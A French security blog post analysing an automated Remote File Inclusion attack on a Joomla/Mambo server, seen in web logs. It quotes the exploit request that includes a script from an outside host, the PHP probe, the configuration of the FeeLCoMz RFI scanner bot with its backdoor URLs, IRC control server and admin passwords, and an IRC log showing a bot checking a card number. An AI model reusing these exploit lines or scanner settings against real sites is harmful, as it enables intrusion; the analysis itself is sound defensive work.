Analyse d’une attaque RFI (Remote File Inclusion)

Comme tous les jours, un serveur web Internet est fréquement la cible d’attaques automatisées provenant de “scanner” RFI (Remote File Inclusion). Pour avoir une explication plus généraliste des attaques du type RFI, nous vous proposons de consulter Wikipedia.

Nous allons dans l’exemple ci-dessous analyser le comportement d’une attaque d’un de ces scanner. Prenons comme base les logs d’un de nos serveurs web et parmis toutes les attaques, prenons une des empreintes :

89.218.85.18 - - [27/Dec/2008:16:14:45 +0100] "GET /index.php?option=com_content&task=&sectionid=&id=&mosConfig_absolute_path=http://www.tos-belarus.org/scan/copyright.txt?? HTTP/1.1" 200 - "-" "Mozilla/5.0"

L’adresse source, “89.218.85.18“, fait partie d’un réseau situé au Kazakstan. Sûrement un serveur s’étant aussi fait compromettre par un de ces “scanner” RFI.

L’attaque utilisé, “mosConfig_absolute_path“, est une vulnérabilité dans le CMS Mambo (SA14337), ou dans le fork Joomla (SA29106). La révélation de la vulnérabilité dans le CMS Mambo date du 21 Février 2005, tandis que celle de Joomla date du 14 Février 2008.

L’inclusion tentée par le scanner RFI est l’adresse “http://www.tos-belarus.org/scan/copyright.txt??“.

Le serveur www.tos-belarus.org est hébergé en suisse, ce qui nous donne ce petite représentation visuelle de l’attaque.

Le principe est simple, l’attaquant, c’est à dire le scanner RFI, attaque la cible www.zataz.com, et utilise un site tier, qui est ici www.tos-belarus.org, pour exploiter la vulnérabilité. Le fichier “copyright.txt??” est en fait un script PHP simple contenant la réponse à retourner en cas de succès à l’inclusion.

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

Prenez notes des commentaire “Fx29ID” et de la sortie générée lors de l’exécution du script “FeeLCoMzFeeLCoMz“.

Une recherche sur Google avec le commentaire “Fx29ID” nous permet déjà d’identifier les développeurs du scanner RFI.

Le groupe de développeurs et de pirates tournant autour de ce scanner RFI se nomme “FeeLCoMz Community“, dont la devise est “No System Is Perfectly Safe“. Ce groupe serait Indonésien ou Mélanésien.

FeelComz

Il est vrai que ce simple bout de code n’est que la partie visible de l’iceberg. Si l’on regarde de plus près le répertoire “/scan/” l’on pourra trouver plusieurs autres scripts.

Nous pouvons y voir trois fichiers “.txt” dont notre script “copyright.txt“. Les deux autres scripts se nomment “felcomz.txt” et “readme.txt“.

Notre scanner RFi se nomme “felcomz.txt“.

########################################
## FeeLCoMz RFI Scanner Bot v4.8 ##
## By FaTaLisTiCz_Fx ##
## © Agu-Nov 2008, FeeLCoMz Community ##
########################################

Ce scanner RFI a été améliorer et est disponible maintenant en version 4.9.

##[ KONFIGURASI URL ]##
my fx29id = "http://www.tos-belarus.org/scan/copyright.txt?"; #Fx29ID1 (Simple) / #Fx29ID2 (Advanced)
my fx29id2 = "http://www.tos-belarus.org/scan/readme.txt?"; #Fx29ID2 (Advanced)
my fx29sh = "http://www.tos-belarus.org/data/cyberz.txt??"; #Fx29Sh (Optional)
my bypass = "http://www.ekosystem.org/googlerz.php?"; #Google Bypasserz (Optional)

fx29id –> Cette variable correspond à l’empreinte retour d’exploitation d’une vulnérabilité.
fx29id2 –> Cette variable correspond à notre troisième script présent dans le répertoire “/scan/” et qui fournira aussi une empreinte retour d’exploitation d’une vulnérabilité.
fx29sh –> Cette variable correspond à un nouveau script, qui nous dévoile aussi la présence d’un nouveau répertoire compromis “/data/”. Ce script est un backdoor php “FaTaLisTiCz_Fx Fx29SheLL v1.5 06.2008” recodé par “the_pheng”.
bypass –> Cette variable correspond censé être un proxy aux requêtes Google. Il est hébergé sur un serveur OVH en France.

Une nouvelle version du backdoor PHP Fx29Shell est disponible en version v3.2.12.2008.

##[ KONFIGURASI SOURCE ]##
my mysite = "http://www.tos-belarus.org/data/"; #Path to Sources URL (Optional)
my spread = mysite."/version.txt"; #Fx29Spreadz (Optional)
my joomlaz = mysite."/joomla.txt"; #Joomla's Bugs List (Required for Joomla RFI Scanner)

L’on retrouve ici le nouveau répertoire “/data/” avec deux nouveaux scripts.

spread –> Cette variable correspond à un nouveau script, celui-ci est un Bot IRC PHP “PHP-BOT v1.4”.
joomlaz –> Cette variable correspond à une liste des chemins d’accès vulnérables de Joomla.

##[ KONFIGURASI IRC ]##
my @servers = ("irc.mildnet.org");
my %bot = (
nick => "[SCAN][".int(rand(100))."]",
ident => "Fx".int(rand(100)),
chan => ["#madiun"],
server => ######servers[rand(scalar(@servers))],
port => "6667"
);

Le nick du bot est créé dynamiquement sous la forme [SCAN][xxx], où xxx est un chiffre aléatoire compris entre 0 et 100. Le “ident” du bot est créé dynamiquement sous la forme Fxxx, où xxx est un chiffre aléatoire compris entre 0 et 100. Le bot se connectera automatiquement sur le channel #madiun, et cela sur un serveur aléatoire présent dans la liste des serveurs irc configuré. Le port du serveur IRC, sur lequel le scanner RFI se connectera est un port statique 6667.

L’on peut voir ici que les pirates ont pensés à la haute disponibilité aléatoire de l’accès au scanner RFI. Par contre, si le serveur irc sélectionné aléatoirement dans la liste ne fonctionne pas, le bot s’arrêtera automatiquement.

L’on peut voir aussi que le point faible de ce bot est le port statique de connexion, étant le port 6667, il suffit alors à un administrateur de couper toutes les connexions sortantes vers le port 6667 pour s’assurer qu’aucun de ces scanner RFI ne fonctionneront.

Des améliorations peuvent être apportées sur ces deux SPOF et sûrement des évolutions futures de ce type de scanner.

Le serveur irc, se nomme irc.mildnet.org, le site web est en cours de contruction, mais un WHOIS sur le nom de domaine permet de confirmer que celui-ci est situé géographiquement en Indonésie.

Registrant ID:GODA-049668678
Registrant Name:MILDNet Team
Registrant Organization:MILDNet Community
Registrant Street1:www.mildnet.org
Registrant Street2:
Registrant Street3:
Registrant City:Indonesia
Registrant State/Province:
Registrant Postal Code:50148
Registrant Country:ID
Registrant Phone:+62.85646671234

Il y a de grande chance que les données fournies dans le WHOIS soient fausse. Là aussi, ce scanner ne contenant qu’une seule entrée de serveur irc, pourra facilement être désactiver en contactant tous simplement le registrar et lui demander de désactiver le nom de domaine mildnet.org

##[ KONFIGURASI USER ##
## cryptz: 0 = Not Encrypted, 1 = Encrypted
my %boss = (
the_pheng => {
pass => 'kampret',
status => "admin",
cryptz => 1,
login => 0
},
KD => {
pass => 'setan',
status => "admin",
cryptz => 0,
login => 0
},
);

Les utilisateurs IRC qui pourront administrer le bot sont identifier ici.

Une simple recherche sur Google permet aussi d’identifier “the_pheng” et carrement de tirer des photos de lui, correspondant d’ailleurs aussi à celles présentes sur le site web de la communauté “FeeLCoMz“.

##[ INISIALISASI VARIABEL ]##
my ######chanx = "#KURSI"; #2nd Channel to show the results of vurnerable site
my ######dbgchan = "#RUSI"; #For debugging purposes (Optional)

Les canaux IRC sur lesquels les résultats seront affichés. #KURSI pour affiché les résultats de site vulnérable, et #RUSI pour le debugging du bot.

Sans entrer dans le détails de ce scanner RFI celui-ci permet les actions suivantes :

  • Scanner RFI générique
  • Scanner RFI générique avec lancement d’exploit
  • Scanner spécifique aux vulnérabilités Joomla
  • Recherche d’exploits ciblés par mots clés sur Milw0rm
  • Recherche sur divers moteurs de recherche, avec un module complet et très fin pour Google
  • Utilisation d’un proxy pour les recherches sur Google
  • Espionnage de connexions anormales sur les chan IRC créé par le bot afin d’alimenter une liste

En nous connectant sur le serveur irc.mildnet.org, nous avons pu observer différents canaux IRC.

[22:55] [4]?322? *** #hell 57 [+ntr] Check type !chk . Sock account seller & CVV selller: Nitro[x]ine
22:55] [4]?322? *** #bekasihackerlink 28 [+mntr] ,0æ,8æ,8æ,7æ,7æ,4æ,4æ,5æ,5æ,1æ,1#BekasiHackerLink by |::. AzpallCyb3R .::|,1æ,5æ,5æ,4æ,4æ,7æ,7æ,8æ,8æ,0æ
[22:55] [4]?322? *** #carding 181 [+ntrVMCNTB] Welcome to #carding, please enjoy to chat here. ,1
22:55] [4]?322? *** #enrekang 29 [+ntr] 2|[ kukekaw][ scan on !rfi bugs= dork -p 100 ]| ,1..:: /!,1\ Welcome #enrekang@Mildnet /!,1\ Just A Hacker,Carder,Cracker and Blogger Zone| ::..,15http://www.geocities.com/dedet_hot/Dork.txt

Et beaucoup d’autres canaux, ayant un grand nombre de membres, mais dont l’accès est protégé.

Le canal IRC #hell, est un canal IRC spécialisé dans la vérification de numéro de carte bleu, un bot permet aux pirates de vérifier en temps réel la validité d’une carte bleu, ainsi que de lancer d’autres commandes de recherche sur google.

[16:42] nasrullah: !g script mirc
[16:42] hycarl: [Google] #1 mIRC Scripts Dot Com - mIRC Script Bot Addon ###### archive ( http://www.mircscripts.com/ )
[16:42] hycarl: [Google] Desc: One of the oldest mIRC sites on the Web. ###### hundreds of scripts, bots, and addons for the IRC client.
[16:50] *** Guest39197 is now known as b
[16:51] snow: !chk 4263540101966447 0611 263
[16:51] [chkbot]: snow : checking 4263540101966447 0611 263
[16:51] [chkbot]: snow : 4263540101966447 0611 263 Invalid account number
[16:53] imnotdead: !g roy suryo
[16:53] hycarl: [Google] #1 Roy Suryo - Wikipedia bahasa Indonesia, ensiklopedia bebas ( http://id.wikipedia.org/wiki/Roy_Suryo )
[16:53] hycarl: [Google] Desc: - [ Translate this page ]KRMT Roy Suryo Notodiprojo atau sering dipanggil Roy Suryo (lahir di Yogyakarta, 18 Juli 1968) adalah seorang pengurus Partai Demokrat di bidang Komunikasi ...